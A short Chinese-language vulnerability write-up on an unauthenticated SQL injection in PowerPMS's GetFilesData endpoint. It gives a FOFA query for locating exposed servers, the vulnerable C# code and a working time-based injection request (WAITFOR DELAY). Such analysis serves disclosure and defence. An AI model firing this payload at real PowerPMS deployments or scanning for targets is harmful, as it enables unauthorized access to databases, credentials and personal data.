漏洞简介
普华PowerPMS是上海普华科技发展股份有限公司旗下一款项目管理信息平台。其PowerPMS系统GetFilesData接口存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="普华科技-PowerPMS" || body="Power.login.init" && body="Power.ui.warning" && body="Power_login_btn"
漏洞分析
系统采用MVC文件架构,直接在controller里搜文件操作相关的方法找到UploadFle,在其中找到GetFilesData的实现
[Power.Controls.PMS.Action(Authorize = false)]
public string GetFilesData(string EpsProjId, string StartDate, string EndDate)
{
Power.Global.ViewResultModel viewResultModel = Power.Global.ViewResultModel.Create(true, "");
DataTable dataTable1 = DAL.QuerySQL("select name from syscolumns where id=object_id('PB_DocFiles')and name='UpdDate'");
DataTable dataTable2 = DAL.QuerySQL($"select LongCode from dbo.PLN_project where project_guid ='{EpsProjId}'");
if (dataTable2 != null && ((InternalDataCollectionBase) dataTable2.Rows).Count > 0)
Authorize = false 表明此接口不需要鉴权

同时可以看到EpsProjId参数被直接拼接进SQL语句中执行,无过滤或校验,因此造成SQL注入漏洞,就是朴实无华。
漏洞复现
POST /UploadFle/GetFilesData HTTP/1.1
Host: powerpms.mrxn.net
EndDate=2025&EpsProjId=1'WAITFOR DELAY'0:0:5'--&StartDate=2025

成功延时5秒

